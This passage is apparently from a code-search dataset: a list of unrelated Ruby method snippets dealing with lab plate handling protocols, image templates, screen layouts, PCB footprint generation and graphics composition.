Collection.new_collection(c_type)\n if label_plate\n show do\n title 'Get and Label new Plate'\n note get_and_label_new_item(working_plate) if label_plate\n end\n end\n working_plate\n end", "def get_and_label_new_plate(plate)\n show do\n title 'Get and Label Working Plate'\n note \"Get a <b>#{plate.object_type.name}</b> and\n label it ID: <b>#{plate.id}</b>\"\n end\n end", "def show_image_version\n if @options[\"mode\"] == \"himage\"\n tpl = @himage_tpl\n elsif @options[\"mode\"] == \"vimage\"\n tpl = @vimage_tpl\n else \n raise \"invalid template name\" + @options[\"mode\"]\n end\n calc_weather_icon\n calc_wind_icon\n parse_radar unless @options[\"radar_location\"].empty?\n erb = ERB.new(File.read(tpl), 0, '>')\n @conky_output = erb.result(binding)\n puts @conky_output\n end", "def content_element_template(context={})\n \n app = context[:app]\n \n renderer = UIFieldSetRender::FieldSetRender.new('photo', app) \n photo_template = renderer.render('view', 'em')\n \n end", "def make_new_plate(c_type, label_plate: true)\n working_plate = Collection.new_collection(c_type)\n get_and_label_new_plate(working_plate) if label_plate\n working_plate\n end", "def software_image\n super\n end", "def select_layout_template(program:)\n file = layout_template_file(program: program)\n \"Choose the layout template <b>#{file}</b>\"\n end", "def select_layout_template(program:)\n file = layout_template_file(program: program)\n \"Choose the layout template <b>#{file}</b>\"\n end", "def register_modality_to_t1\n # For ASL, we ill use the PD image because it's information is closer to\n # anatomical than the computed flow maps, bringing along the flow maps. \n\n # system(\"spm8\")\n # Click Coregister - Estimate and Reslice\n # Reference Image: Select the BRAVO\n # Source Image: Select the PD Map\n # Other Images: Select the ASL Map\n # Use other defaults (NMI, etc.) \n end", "def stencile(sender)\n @template = Template.new(sender)\n @template_selected = true\n end", "def resuspend ops_to_plate\n show do\n title \"Resuspend in water and plate\"\n \n check \"Add 200 µl of MG water to the following mixtures: #{ops_to_plate.map { |op| op.output(\"Transformation\").item.id}.to_sentence}.\"\n check \"Vortex each tube to fully resuspend cells.\"\n check \"Flip the plates and add 4-5 glass beads to it, add 200 µl of mixtures on each plate.\"\n warning \"Add each volume of mixture to the plate with the matching ID.\"\n end\n end", "def editor_model_background_path(work)\n case work.product_key\n when 'iphone_5_cases'\n image_path 'editor/model/i5s&5_fullsize.png'\n when 'iphone_4_cases'\n image_path 'editor/model/i4s&4_fullsize.png'\n when 'ipad_mini_cases'\n image_path 'editor/model/ipadmini_fullsize.png'\n when 'ipad_mini_covers'\n image_path 'editor/model/ipadminicover_fullsize.png'\n when 'ipad_air_cases'\n image_path 'editor/model/ipadaircover_fullsize.png'\n when 'iphone_6_cases'\n image_path 'editor/model/iphone6_fullsize.png'\n when 'iphone_6plus_cases'\n image_path 'editor/model/iphone6plus_fullsize.png'\n when 'clocks'\n image_path 'editor/model/clock_fullsize.png'\n when 'easycard_smartcards'\n image_path 'editor/model/easycard_fullsize.png'\n when 'mugs'\n image_path 'editor/model/mug_fullsize.png'\n else\n 'Editor initial error!'\n end\n end", "def apply(template_image)\n self.scale\n\n image = Magick::ImageList.new(self.artwork.image.path)\n\n image[0].rotate!(rotation) unless rotation.nil?\n image.resize!(self.width, self.height)\n\n center_x = template_image.columns / 2\n crop_image!(image, center_x)\n\n self.image_x += template_image.columns / 2 if self.leg == 'right'\n\n # x_copies = (image[0].columns / template[0].columns).ceil\n # y_copies = (image[0].rows / template[0].rows).ceil\n\n # To be tiling, see http://www.imagemagick.org/RMagick/doc/ilist.html#mosaic\n # tiled = Magick::ImageList.new\n # page = Magick::Rectangle.new(0,0,0,0)\n # x_copies.times do |x|\n # y_copies.times do |y|\n\n # end\n # end\n\n design_image = template_image[0].composite(image, self.image_x, self.image_y, Magick::DstOverCompositeOp)\n\n if mirror\n design_image.flop!\n design_image.composite!(image, self.image_x, self.image_y, Magick::DstOverCompositeOp)\n design_image.flop!\n end\n\n intermediate_location = \"#{Dir.tmpdir}/#{SecureRandom.hex}.png\"\n design_image.write(intermediate_location)\n intermediate_location\n end", "def cntrl_settg; det.image(:id, 'imgCtrlSettings'); end", "def create_microtiter_plates(operations:)\n operations.each do |operation|\n method = operation.temporary[:options][:layout_method]\n group_size = operation.temporary[:options][:group_size]\n program_name = operation.temporary[:options][:program_name]\n\n output_collection = operation.output(PLATE).collection\n output_collection.associate(PRIMER_GROUP_SIZE_KEY, group_size)\n output_collection.associate(COMPOSITION_NAME_KEY, program_name)\n output_collection.associate(PRIMER_METHOD_KEY, method)\n\n microtiter_plate = MicrotiterPlateFactory.build(\n collection: output_collection,\n group_size: group_size,\n method: method\n )\n operation.temporary[:microtiter_plate] = microtiter_plate\n end\n end", "def use_technology_preview; end", "def pressure_screen\n @heading = 'Pressure'\n @heading_edited = @heading.downcase.gsub(/[,&]/,'').squeeze(' ').gsub(' ','_')\n background(\"images/#{@heading_edited}_large.png\")\n\n # Pressure screen header\n ScreenHeader.new(self, '/title_screen', @@font, @heading)\n\n # Pressure screen content\n flow(:height => 640, :width => 1080, :scroll => true) do\n # Left margin offset\n stack(:height => 640, :width => 80) do\n end\n # Content column\n stack(:height => 640, :width => 1000) do\n @formula_set =\n {'Pressure sub' => 'Pressure = force / area',\n 'Hydrostatic pressure' => 'Hydrostatic pressure = density x acceleration of free fall x height'}\n @formula_set.each do |name, formula|\n ScreenBox.new(self, @@theme_colour, @@font, @heading, formula, name)\n end\n end\n end\n end", "def grab_plate plate_batch_ids, grab_plate_tab\n show do\n title \"Grab plate\"\n \n note \"Grab the following plates from batches #{plate_batch_ids.join(\", \")} and label with your initials, the date, and the following ids on the top and side of each plate.\"\n table grab_plate_tab\n end\n end", "def purpose\n labware.plate_purpose\n end", "def modelo_carne_load_background(doc, margin_bottom)\n template_path = File.join(File.dirname(__FILE__), '..', '..', 'arquivos', 'templates', 'modelo_carne.eps')\n raise 'Não foi possível encontrar o template. Verifique o caminho' unless File.exist?(template_path)\n\n doc.image template_path, x: 1, y: margin_bottom\n end", "def thumbnail\n \"template_\" + self.template.stylesheets + \".png\"\n end", "def template\n @part.content\n end", "def create_graphics\n super()\n create_background\n create_type_background\n create_pokemon_battler_stack\n create_pokemon_text_boxes\n create_congratulation_text_boxes\n create_pokemon_stars_animation\n create_graveyard_anim\n create_turning_ball\n create_party_battler_stack\n create_league_champion_text_box\n create_trainer_infos_text_box\n create_end_stars\n end", "def t\n @figure_maker\n end", "def template\n with_template_factory do |template_factory|\n template = template_factory.build('Test', {})\n puts Graphics::Debugger.new(template).debug\n end\n end", "def pn\n format(IMAGE_PN, index + 1, extname)\n end", "def start_make_antibiotic_plate op\n #getting the media sample required to plate this yeast strain\n antibiotic_hash = { \"nat\" => \"clonNAT\", \"kan\" => \"G418\", \"hyg\" => \"Hygro\", \"ble\" => \"Bleo\", \"5fo\" => \"5-FOA\" }\n full_marker = op.input(\"Genetic Material\").sample.properties[\"Yeast Marker\"]\n marker = full_marker.downcase[0,3]\n marker = \"kan\" if marker == \"g41\"\n media = Sample.find_by_name(\"YPAD + #{antibiotic_hash[marker]}\") \n \n #create new operation and set to pending\n ot = OperationType.find_by_name(\"Make Antibiotic Plate\")\n new_op = ot.operations.create(\n status: \"pending\",\n user_id: op.user_id\n )\n op.plan.plan_associations.create operation_id: new_op.id\n \n #add correct media sample as the output of the new op\n aft = ot.field_types.find { |ft| ft.name == \"Plate\" }.allowable_field_types[0]\n new_op.set_property \"Plate\", media, \"output\", false, aft\n \n #associate the new op with the item that will be the input of Yeast antibiotic plating\n #This way Antibiotic Plating can retrieve the correct plate for the yeast strain\n op.output(\"Transformation\").item.associate :spin_off, new_op.id\n\n op.plan.reload\n new_op.reload\n end", "def plate\n @plate\n end", "def determine_layout\n 'akinu'\n end", "def generate_cloud_layout\n layout = {:controller => \"node-0\"}\n servers = []\n num_slaves = @min_images - 1\n num_slaves.times do |i|\n servers << \"node-#{i+1}\"\n end\n\n layout[:servers] = servers\n YAML.load(layout.to_yaml)\n end", "def plates\n @plates ||= plate_wrappers.collect(&:plate)\n end", "def generate_wd_images rname=nil\n return {} unless rname\n \n start_time = Time.now\n \n @selected_room_name = rname\n @room_name = @selected_room_name.gsub('#', '_')\n # rinfo \"Starting Image generation : %s\"%(@selected_room_name)\n\n #Pre Operation things\n exception_raised = false\n #-----------Get previous stuffs--------------------------\n curr_active_layer = Sketchup.active_model.active_layer\n edge_render_option = Sketchup.active_model.rendering_options[\"EdgeColorMode\"]\n active_camera = Sketchup.active_model.active_view.camera\n cam_perspective = Sketchup.active_model.active_view.camera.perspective?\n unit_display = Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]\n\n Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]=true\n Sketchup.active_model.active_view.camera.perspective=false\n Sketchup.active_model.rendering_options[\"EdgeColorMode\"] = 0\n \n begin\n # puts \"--------------------------hide\"\n Sketchup::active_model::start_operation \"RIO Image Generation\"\n DP::hide_all_entities\n\n view_details_h = get_floor_view_comps\n \n view_details_h[\"top_view\"] = {:top_room_image => get_top_room_image}\n rescue Exception => e\n # rerror \"Exception raised during image generation\"\n raise e\n Sketchup.active_model.abort_operation\n exception_raised = true\n ensure\n DP::unhide_all_entities\n\n Sketchup.active_model.rendering_options[\"EdgeColorMode\"] = edge_render_option\n Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]=unit_display\n Sketchup.active_model.active_view.camera=active_camera\n Sketchup.active_model.active_view.camera.perspective=cam_perspective\n Sketchup.active_model.active_view.zoom_extents\n Sketchup.active_model.commit_operation\n end\n\n end_time = Time.now\n # puts \"Time taken : #{end_time - start_time}\"\n result = exception_raised ? {} : view_details_h\n end", "def design_name\n\n if 1 == 2 # self.part_number_id == 0\n design_name = self.prefix.pcb_mnemonic + self.number\n design_name += self.revision.name if self.revision && self.revision_id > 0\n \n case self.entry_type\n when 'dot_rev'\n design_name += self.numeric_revision.to_s if self.numeric_revision > 0\n when 'date_code'\n design_name += self.numeric_revision.to_s if self.numeric_revision && self.numeric_revision > 0\n design_name += '_eco'\n design_name += self.eco_number\n end\n \n \"#{design_name} (\" + \n self.prefix.pcb_number(self.number,\n self.revision.name,\n self.numeric_revision) + ')'\n else\n self.pcb_number\n end\n \n end", "def template\n @template ||= Ec2.template({:name =>@name, :key_name => @key_name, :image_id => @image_id, :instance_type => @instance_type, :security_groups => @security_groups})\n end", "def manifest\n anno = IIIF::Presentation::Annotation.new('on' => path)\n anno.resource = create_resource\n canvas.images << anno\n canvas.other_content = [annotations]\n manifest = IIIF::Presentation::Manifest.new(\n '@id' => path,\n 'label' => \"Histonets - Collection Template #{id}\"\n )\n sequence.canvases << canvas\n manifest.sequences << sequence\n manifest\n end", "def create_layout\n self.bitmap = Cache.UI(LayoutImage)\n self.x = Graphics.center_width(self.bitmap.width)\n self.y = Graphics.height - self.bitmap.height - 16\n end", "def grid_image\n s = ''\n s << \" %s %s %s \\n\" % [own(256), own(128), own(64)]\n s << \" %s %s %s \\n\" % [own(32), own(16), own(8)]\n s << \" %s %s %s \\n\" % [own(4), own(2), own(1)]\n s\n end", "def label_specification\n { 'LabelFormatType' => 'COMMON2D',\n 'ImageType' => 'PNG',\n 'LabelStockType' => 'PAPER_4X6',\n :order! => ['LabelFormatType', 'ImageType', 'LabelStockType'] }\n end", "def generate_initial_solution\n aux_groups = @groups.groups_deep_clone\n x=@white_space_x\n y=@white_space_y\n \n aux_groups.each do |g|\n g.allocate_this(x,y)\n y+=g.height\n end\n \n if values_bits[Constants::V_Type_of_BG] <= 4.5 #Image as background\n aux_groups << @interest_box\n end\n \n return aux_groups\n end", "def structure\n [\n # scaffold inject marker\n ]\n end", "def prepare\n puts \"Preparing #{@date.to_s}\"\n @graphic = ImageList.new\n \n #set background color\n bg_color = @color_scheme['main']\n @graphic.new_image(@calendar.width, @calendar.height) { self.background_color = bg_color }\n \n #add cloud background\n cloud = @graphic.read('cloud.png')\n \n #add daily tasks\n everyday_tasks\n dot\n weekly_task\n dot\n todos\n dot\n \n #add the date at the top\n date_header\n dot\n \n #add the special event\n special_event\n dot\n end", "def design_spec( zoom=3, spacing: 1, transparent: nil )\n\n grayscale_img = @img.grayscale ## step 1 - convert to grayscale 0-255 shades of gray\n\n # todo: line - find a better name eg. line_strenght/width or such?\n width = grayscale_img.width*zoom + (grayscale_img.width-1)*spacing\n height = grayscale_img.height*zoom + (grayscale_img.height-1)*spacing\n\n puts \" #{width}x#{height}\"\n\n img = Image.new( width, height, Color::WHITE )\n\n grayscale_img.width.times do |x|\n grayscale_img.height.times do |y|\n pixel = grayscale_img[x,y]\n\n if transparent && pixel == Color::TRANSPARENT ## draw something for transparent?\n pixel = Color.from_hex( '#D3D3D3' ) # lightgray\n offset = (zoom-transparent)/2 ## center in \"zoom\" canvas (assumes transparent < zoom)\n transparent.times do |n|\n transparent.times do |m|\n img[offset + x*zoom+n + spacing*x,\n offset + y*zoom+m + spacing*y] = pixel\n end\n end\n else\n pixel = Color::WHITE if pixel == Color::TRANSPARENT\n zoom.times do |n|\n zoom.times do |m|\n img[x*zoom+n + spacing*x,\n y*zoom+m + spacing*y] = pixel\n end\n end\n end\n end\n end\n img\n end", "def load_media(outputPlate)\r\n show do \r\n title \"Filling new 96-deep well Item ##{outputPlate.id}\" \r\n \r\n note \"In a clean & sterile multichannel reservoir, pour aliquoted media.\" \r\n check \"Grab a new 96-deep well plate and label with the Item ID ##{outputPlate.id}.\" \r\n note \"Using a multichannel P1000 transfer 999uL of media to the following wells.\" \r\n # CollectionDisplay library\r\n table highlight_non_empty(outputPlate) { |r,c| \"999uL\" } \r\n end \r\n end", "def control; tab.image(:name, 'imgControl'); end", "def page_image_template\n \"#{slug}-p{page}-{size}.gif\"\n end", "def create\n\t\tsuper\n\t\tshow(PLACEMENT_SCREEN)\n\tend", "def setup_stripwell_plate(collection:, method:, program_name:, group_size:)\n collection.associate(:program_name, program_name)\n collection.associate(:group_size, group_size)\n qpcr_reaction = Sample.find_by_name('Test qPCR Reaction')\n\n layout_generator = PlateLayoutGeneratorFactory.build(\n group_size: group_size,\n method: method,\n dimensions: collection.dimensions\n )\n\n loop do\n layout_group = layout_generator.next_group\n break unless layout_group.present?\n\n layout_group.each do |r, c|\n collection.set(r, c, qpcr_reaction)\n part = collection.part(r, c)\n part.associate(PRIMER_PROBE_MIX_KEY, 'added')\n end\n end\n\n show_result(collection: collection)\n end", "def fill_plate_with_media(collection, rc_list)\n count = 0\n rc_list.each do |media_coords, med_type|\n media_vol = (media_coords.length + 2) * 0.2#mL\n show do\n title \"Filling 96 Deep Well <b>#{collection.id}</b>\"\n separator\n if count == 0\n check \"Obtain a <b>96 Deep Well plate</b> and label with #<b>#{collection.id}</b>\"\n end\n check \"Aliquot <b>#{media_vol.round(2)}mL</b> of <b>#{med_type}</b> into a clean reservoir.\"\n note \"Follow the table below to fill Deep Well plate with <b>180µl</b> the appropriate media:\"\n table highlight_rc(collection, media_coords) {|r,c| med_type}\n end\n count += 1\n end\n end", "def set_template\n end", "def seal_plate(collection, rc_list: nil)\n show do\n title 'Seal Wells'\n note \"Using an area seal carefully seal plate #{collection.id}\"\n unless rc_list.nil?\n warning 'ONLY seal the highlighted wells'\n table highlight_collection_rc(collection, rc_list)\n end\n end\n end", "def nebula; end", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def choose_plate plates\n # Weighted choice based on frontier length - if we do it perfectly uniform\n # then we end up with plates that \"compress\" into small remaining places\n # which results in \"snaky\" plates and weird convergence points between\n # many plates\n \n # TODO: could probably pull weighted randoms into a different module\n total = plates.map(&:frontier_length).inject(&:+)\n\n # TODO: using a uniform random generator here gives plates that are all\n # roughly the same size - kinda boring, maybe try using a non-uniform\n # distribution here\n point = rand(total)\n\n idx = 0\n begin\n while point > plates[idx].frontier_length\n point -= plates[idx].frontier_length\n idx += 1\n end\n rescue\n # TODO: fix this - once in a while we get an out of bounds problem here\n puts $!\n puts $!.backtrace.join(\"\\n\")\n puts \"Point: #{point}\"\n puts \"Idx: #{idx}\"\n puts \"Total: #{total}\"\n end\n\n idx\n end", "def create_graphics\n create_viewport\n create_base_ui\n create_credit_payout\n create_bands\n end", "def screen(header_inputs, background_inputs, footer_inputs)\r\n\t\t#24 lines\r\n\t\r\n \t\theader(header_inputs)\r\n \t\tbackground(background_inputs)\r\n \t\tfooter(footer_inputs)\r\n\tend", "def pack_template\n selfclass.pack_template\n end", "def GenDIP(name)\n leftgap = rightgap = 0\n width = GetDim('width')\n pins = GetCnt('pins')\n if pins < 2 then print \"GenDIP(#{name}): We need at least two pins!\\n\" end\n if pins > 2\n pitch = GetDim('pitch')\n if pitch < 1000 # 10 mil\n print \"GenDIP(#{name}): pitch is too small!\\n\"\n end\n else\n pitch = 0\n end\n paddia = GetDim('pad-dia')\n drilldia = GetScaledDrillDia()\n #drilldia = GetDim('drill-dia')\n if [width, paddia, drilldia].min < 1000 # 10 mil\n print \"GenDIP(#{name}): Width, paddia or drilldia too small!\\n\"\n end\n silkwidth = GetDim('silkwidth')\n silkoffset = GetDim('silkoffset')\n ovalpads = %w[1 yes oval ovalpads true].include?(AskStr('ovalpads'))\n silkbox = GetStr('silkbox')\n unless %w[outer inner custom].include?(silkbox); silkbox = 'none' end\n p1silkmark = AskStr('p1silkmark') # we can draw: semicircle, notch, damage or slash\n if %w[1 yes mark silkmark true].include?(p1silkmark)\n p1silkmark = 'semicircle'\n end\n p1coppermark = GetStr('p1coppermark') # we can mark with: square or octagon\n if p1coppermark == 'octagon';\n elsif %w[square 1 yes mark p1mark coppermark p1coppermark true].include?(p1coppermark)\n p1coppermark = 'square'\n else\n p1coppermark = ''\n end\n rows = (pins + 1) / 2\n x = -width / 2.0 # start at upper left corner with negative coordinates\n y = -(pitch / 2.0) * (rows - 1)\n boxoffset = silkoffset + (silkwidth + paddia) / 2.0\n if silkbox == 'outer'\n bx = x - boxoffset\n by = y - boxoffset\n elsif silkbox == 'inner'\n bx = x + boxoffset\n by = y\n elsif silkbox == 'custom'\n bx = -GetDim('silkboxwidth') / 2.0\n by = -GetDim('silkboxheight') / 2.0\n if bx - boxoffset > x\n silkbox = 'inner'\n elsif by + boxoffset < y\n silkbox = 'outer'\n if bx + boxoffset > x\n leftgap = 2 * (y.abs + silkoffset) + paddia + silkwidth\n dy = (pitch / 2.0) * (pins - rows - 1)\n rightgap = 2 * (dy + silkoffset) + paddia + silkwidth\n if p1silkmark == 'damage'\n p1silkmark = 'slash'\n end\n end\n else\n silkbox = 'none'\n print \"GenDIP(#{name}): Custom silkbox touches pads -- not drawn!\\n\"\n end\n else\n bx = by = 0\n end\n if (-bx < MinSilkWidth) or (-by < MinSilkWidth)\n silkbox = 'none'; bx = by = 0\n end\n tx = [x, bx].min\n ty = [y- paddia / 2.0, by - silkwidth / 2.0].min - (PCB_DefaultTextSize + RefdesToSilkOffset) * GetCnt('refdessize')\n r = GenElementHeader(tx, ty, 0) + \"(\\n\"\n pinflags = p1coppermark\n if p1coppermark == ''\n padflags = 'onsolder'\n else\n padflags = 'square,onsolder'\n end\n dy = pitch\n (1..pins).each do |n|\n r += GenPin(x, y, paddia, drilldia, n, n, pinflags)\n if ovalpads \n r += PcbSmartPad(x - paddia / 4.0, y, x + paddia / 4.0, y, paddia, n, n, padflags) \n end\n pinflags = ''\n padflags = 'onsolder'\n if n == rows\n x = -x\n y = (pitch / 2.0) * (pins - rows - 1)\n dy = -dy\n else\n y += dy\n end\n end\n unless silkbox == 'none'\n if leftgap > 0\n r += GenGapBox(bx, by, -bx, -by, leftgap, rightgap)\n elsif p1silkmark == 'damage'\n r += GenDamagedBox(bx, by, -bx, -by)\n else\n r += GenSilkBox(bx, by, -bx, -by)\n end\n if p1silkmark == 'semicircle'\n r += GenSilkArc(0, by, bx.abs * 0.2, bx.abs * 0.2, 0, 180)\n elsif p1silkmark == 'slash'\n r += GenSilkLine(bx + 0.05 * (bx + by), by + 0.05 * (bx + by), bx, by)\n elsif p1silkmark == 'notch'\n r += GenSilkLine(0.2 * bx, by, 0, by - 0.2 * bx)\n r += GenSilkLine(-0.2 * bx, by, 0, by - 0.2 * bx)\n end\n end\n r += GenAttributes() + \")\\n\"\n WriteElementToFile(r, name)\nend", "def template_name\n name.split(\"::\").last.downcase.gsub(/onebox/, \"\")\n end", "def prototype(*args)\n opts = args.extract_options!\n klass = args.shift || Layout\n\n if klass == Layout\n opts[:parent] ||= self.parent || self\n opts[:image_spec] ||= self.image_spec.try(:clone)\n opts[:name] ||= generate_copy_of_field(:name)\n opts[:template] ||= template\n opts[:region_types] ||= region_types\n else\n opts[:layout] ||= self\n end\n\n opts[:regions] ||= regions.map(&:copy)\n\n klass.new(opts).tap do |object|\n if klass.reflect_on_association(:images)\n object.images = image_specs.map do |image_spec|\n image_spec.image_mounts.build(:owner => object)\n end\n end\n\n if klass.reflect_on_association(:placements)\n object.placements = placeholders.map do |ph| \n ph.placements.build(:owner => object)\n end\n end\n end\n end", "def element_template(context={}, aspect_model)\n \n app = context[:app]\n \n renderer = ::UI::FieldSetRender.new('location', app) \n location_template = renderer.render('view', 'em')\n \n end", "def mtus\n build_system_layout\n @mtus\n end", "def modeler_description\n return 'Find the interior lighting template for the building, and assume the existing efficiency level in the model (low, medium, high, very high). Find the LPD and LPD fractions for each space type. Apply the lighting upgrades by reducing the LPD associated with compact lighting by a percent (depends on starting and target efficiency levels).'\n end", "def label_and_parafilm\n show do \n title \"Label and Parafilm\"\n \n plates_to_parafilm = operations.reject { |op| op.temporary[:delete] || op.temporary[:re_incubate] }.map { |op| op.input(\"Plate\").item.id }\n note \"Perform the steps with the following plates: #{plates_to_parafilm.join(\",\")}\"\n note \"Label the plates with their item ID numbers on the side, and parafilm each one.\"\n note \"Labelling the plates on the side makes it easier to retrieve them from the fridge.\"\n end\n end", "def show_pipet_mmix(primer_mix_name:, volume:, collection:, layout_group:)\n show do\n title \"Pipet #{primer_mix_name} master mix into plate\"\n\n note \"Pipet #{volume} #{MICROLITERS} of #{primer_mix_name}\" \\\n \" master mix into the plate #{collection}\"\n table highlight_collection_rc(collection, layout_group, check: false)\n end\n end", "def template_name; end", "def template_name; end", "def _implied_layout_name; end", "def header\n\t\tlogo_path = Rails.root.join('app','assets','images','longbourn_logo.png')\n\t\timage logo_path, :width => 70, :height => 45\n\t\tdraw_text \"Informe de Desempeño de Alumnos\", :at => [100,25], size:12\n\t\tdraw_text \"Longbourn Institute\", :at => [100,10], size:12\n\tend", "def geometry_screen\n @heading = 'Geometry'\n @heading_edited = @heading.downcase.gsub(/[,&]/,'').squeeze(' ').gsub(' ','_')\n background(\"images/#{@heading_edited}_large.png\")\n\n # Geometry screen header\n ScreenHeader.new(self, '/title_screen', @@font, @heading)\n\n # Geometry screen content\n flow(:height => 640, :width => 1080, :scroll => true) do\n # Left margin offset\n stack(:height => 750, :width => 80) do\n end\n # Content column\n stack(:height => 750, :width => 1000) do\n @formula_set =\n {'Arc length' => 'Arc length = radius × central angle',\n 'Circumference' => 'Circumference = 2π × radius',\n 'Triangle area' => 'Triangle area = 0.5 × base × height',\n 'Trapezium area' => 'Trapezium area = 0.5 × (top base + bottom base) × height',\n 'Rectangle area' => 'Rectangle area = length × width',\n 'Cylinder surface area' => 'Cylinder surface area = 2π × radius × height'}\n @formula_set.each do |name, formula|\n ScreenBox.new(self, @@theme_colour, @@font, @heading, formula, name)\n end\n\n stack(:height => 100, :width => 940, :margin => 2) do\n background(@@theme_colour)\n @circle_area = para('Circle area = π × radius', sup('2'))\n @circle_area.style(@@screen_box_text_styles)\n click do\n visit(\"/title_screen/#{@heading_edited}_screen/circle_area_screen\")\n end\n end\n end\n end\n end", "def intro\n plate_reader = PlateReader.new\n show do\n title \"Plate Reader Measurements\"\n separator\n note \"This protocol will instruct you on how to take measurements on the #{plate_reader.type} Plate Reader.\"\n note \"Optical Density is a quick and easy way to measure the growth rate of your cultures.\"\n note \"Green Fluorescence helps researchers assess a response to a biological condition <i>in vivo</i>.\"\n note \"<b>1.</b> Setup #{plate_reader.type} Plate Reader Software workspace.\"\n note \"<b>2.</b> Check to see if input item is a #{plate_reader.valid_containers} if not, transfer samples to a valid container.\"\n note \"<b>3.</b> Prepare measurement item with blanks.\"\n note \"<b>4.</b>Take measurement, export data, & upload.\"\n end\n return plate_reader\n end", "def create_plate_in_sequencescape(plate, plate_uuid, date, sample_uuids)\n asset_size = plate.number_of_rows * plate.number_of_columns\n\n # Sequencescape does not have the concept other than 96 wells plate,\n # so we are not creating other plate types for now. However, it could be change in the future\n # and we could add additional plate types to Sequencescape.\n raise UnsupportedPlateType, \"The plate size is #{asset_size}. Currently we are only supporting plate with #{SupportedPlateSize} wells.\" unless asset_size == SupportedPlateSize\n\n sti_type = plate.is_a?(Lims::LaboratoryApp::Laboratory::Gel) ? settings[\"gel_type\"] : settings[\"plate_type\"]\n\n # Save plate and plate uuid\n plate_id = db[:assets].insert(\n :sti_type => sti_type,\n :plate_purpose_id => settings[\"unassigned_plate_purpose_id\"],\n :size => asset_size,\n :created_at => date,\n :updated_at => date\n ) \n\n db[:uuids].insert(\n :resource_type => settings[\"asset_type\"],\n :resource_id => plate_id,\n :external_id => plate_uuid\n ) \n\n # Save wells and set the associations with the plate\n plate.keys.each do |location|\n map_id = db[:maps].select(:id).where(\n :description => location, \n :asset_size => asset_size\n ).first[:id]\n\n well_id = db[:assets].insert(\n :sti_type => settings[\"well_type\"], \n :map_id => map_id,\n :created_at => date,\n :updated_at => date\n ) \n\n db[:container_associations].insert(\n :container_id => plate_id, \n :content_id => well_id\n ) \n\n # Save the volume contained in the well ie the solvent quantity in S2 \n aliquot = plate[location].find { |aliquot| aliquot.type == \"solvent\" }\n volume = aliquot.quantity if aliquot\n set_well_volume_and_concentration(well_id, volume, nil, date) if volume\n\n # Save well aliquots\n if sample_uuids.has_key?(location)\n sample_uuids[location].each do |sample_uuid|\n sample_resource_uuid = db[:uuids].select(:resource_id).where(\n :resource_type => settings[\"sample_type\"], \n :external_id => sample_uuid\n ).first\n\n raise UnknownSample, \"The sample #{sample_uuid} cannot be found in Sequencescape\" unless sample_resource_uuid\n sample_id = sample_resource_uuid[:resource_id]\n\n tag_id = get_tag_id(sample_id)\n study_id = study_id(sample_id)\n create_asset_request!(well_id, study_id, date)\n\n db[:aliquots].insert(\n :receptacle_id => well_id, \n :study_id => study_id,\n :sample_id => sample_id,\n :created_at => date,\n :updated_at => date,\n :tag_id => tag_id\n )\n end\n end \n end\n end", "def show\n @intro = MotionGraphic.intros.first\n @intro ||= MotionGraphic.find(@preset.intro_template_id)\n @l3 = MotionGraphic.lower_thirds.first\n @l3 ||= MotionGraphic.find(@preset.l3_template_id)\n @background = MotionGraphic.backgrounds.first\n @background ||= MotionGraphic.find(@preset.background_template_id)\n @endcard = MotionGraphic.end_cards.first\n @endcard ||= MotionGraphic.find(@preset.endcard_template_id)\n end", "def create_collage\n # load the template\n \n \n img_path = \"#{::Rails.root.to_s}/tmp/sets/\"\n img_name = \"set_#{self.id}_#{Time.now.to_i}\"\n \n #template \n # template = Magick::Image.read(\"#{RAILS_ROOT}/public/images/set_template.png\").first\n # or blank white image\n template = Magick::Image.new(600, 480){\n self.background_color = '#ffffff'\n }\n \n template.format = 'png'\n # template.filename = img_name\n \n # go through all set items by z_index and add lay it over the template\n for item in self.set_items.order(\"z_index asc\")\n photo = Magick::Image.read(item.product.assets.first.image.url(:thumb).to_s).first\n photo = photo.scale(item.width, item.height)\n photo = photo.rotate(item.rotation)\n # composite item over template offsetting pos_x and pos_y for the template border\n template.composite!(photo, item.pos_x, item.pos_y, Magick::OverCompositeOp)\n end\n\n # create temp file \n \n tmp_image = Tempfile.new([img_name, '.png'])\n \n # write rmagick image in tempfile\n \n template.write(tmp_image.path)\n \n # save & upload with carrierwave\n \n self.blog_image = tmp_image\n \n # self.blog_image.store!(template)\n \n self.write_blog_image_identifier\n \n self.save!\n \n #File.delete(img_path + img_name)\n \n tmp_image.delete\n \n end", "def rna_prep_steps(working_plate)\n show do\n title 'Run RNA-Prep'\n note \"Run typical RNA-Prep Protocol with RNA plate #{working_plate.id}\n and adapter plate #{working_plate.get(ADAPTER_KEY).class}\"\n table highlight_non_empty(working_plate, check: false)\n end\n end", "def material; end", "def material; end", "def generate_tectonic_plates\n max_radius = (width / 10) * 2.0\n\n hill_resources = [ :coal, :iron, :uranium ]\n mountain_resources = [ :coal, :iron, :uranium ]\n\n (width/4).times do\n candidates = { }\n\n radius = (width / 10) * (1.0 + Kernel::rand)\n pos = [ Kernel::rand(@maxx), Kernel::rand(@maxy) ]\n cx,cy = pos\n\n tiles = { }\n\n 1.upto(radius) do |r|\n (cx-r).upto(cx+r) do |x|\n (cy-r).upto(cy+r) do |y|\n pos = [x,y]\n next if tiles[pos]\n next unless in_range?(pos)\n\n if Kernel::rand >= r.to_f/max_radius\n tiles[pos] = true\n tile = self[pos]\n if tile[:terrain] == :grass then\n tile[:terrain] = :hills\n tile[:resource] = nil\n tile[:resource] = hill_resources[Kernel::rand(hill_resources.length - 1)] if Kernel::rand < 0.20\n tile[:resource] = :arable if tile[:resource].nil? && Kernel::rand < 0.40\n elsif tile[:terrain] == :hills then\n tile[:terrain] = :mountains\n tile[:resource] = nil\n tile[:resource] = mountain_resources[Kernel::rand(mountain_resources.length - 1)] if Kernel::rand < 0.40\n else\n tile[:terrain] = :grass\n tile[:resource] = nil\n tile[:resource] = :arable if Kernel::rand < 0.10\n tile[:resource] = :oil if Kernel::rand < 0.03\n tile[:resource] = hill_resources[Kernel::rand(hill_resources.length - 1)] if tile[:resource].nil? && Kernel::rand < 0.05\n end\n end\n end\n end\n end\n end\n end", "def generate_controls(text)\n contents_text = \"\"\n loop do\n c = text.slice!(/./m)\n case c\n when nil\n break\n #--------------------------\n # DEFAULT FEATURES\n 